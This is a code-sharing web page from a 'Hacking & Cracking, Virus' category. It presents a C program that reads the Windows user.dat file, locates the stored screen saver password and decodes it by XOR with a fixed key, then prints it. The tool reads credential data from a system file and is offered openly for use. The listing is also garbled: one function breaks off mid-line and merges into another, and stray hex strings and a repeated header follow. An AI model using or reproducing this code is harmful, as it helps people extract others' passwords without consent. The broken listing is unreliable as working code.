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Home » C Home » Hacking & Cracking, Virus Home » ScreenSaver Password Cracker

Title ScreenSaver Password Cracker
Author Rammoorthy
Author Email rammoorthy2002 [at]
Description This code lets you know the Screen Saver Password. You can now know how they encrypt the password, how we can decrypt it.
Category C » Hacking & Cracking, Virus
Hits 35571
Code Select and Copy the Code
/* Screen Saveer Password Cracker: Decrypts Screen Saver Password which is stored in user.dat. */ #include<ctype.h> #include<stdio.h> #include<string.h> FILE *fp; char *path="c:\windows\user.dat"; /*encrypted password stored in this file when u log on to default user.. If there r multiple users..Password stored in \windowsprofilesuser-nameuser.dat... */ unsigned long int search(char *s); char *encstr(unsigned long int loc); int toint(char a); void main() { unsigned long int l; char s[51]; int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7, 15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5}; //this array is 2 b xored with encrypted-string int s1[51],s2[51]; int i,len,k; clrscr(); l=search("ScreenSave_Data"); strcpy(s,encstr(l)); len=strlen(s); for(i=0;i<len;i++) { s1[i]=toint(s[i]); s2[i]=(s1[i])^(arr[i]); } printf("Current Screen Saver Password: "); for(i=0;i<len;i+=2) printf("%c", (s2[i]*16)+(s2[i+1]) ); } /* Searches where ScreenSave_Data is there in the file and returns the location*/ unsigned long int search(char *s) { int k=0,len,ch; unsigned long int i=0; fp=fopen(path,"rb"); len=strlen(s); while( (ch=getc(fp))!=EOF) { if(ch==s[k]) k++; else k=0; i++; if(k==len) return i; } } /* It returns Encrypted String*/ char *encstr(unsigned long int loc) { char ch,s[55],ch1; int i=0; ch=toascii(0); fp=fopen(path,"rb"); fseek(fp,loc,SEEK_SET); while( (ch1=fgetc(fp))!=ch) { s[i]=ch1; i++; } s[i]='<='F') ) return (10+a-'A'); else if((a>='0')&&(a<='9')) return (a-'0'); } 353134353632342e39,0x393133353134353632352e39????/* Screen Saveer Password Cracker: Decrypts Screen Saver Pas

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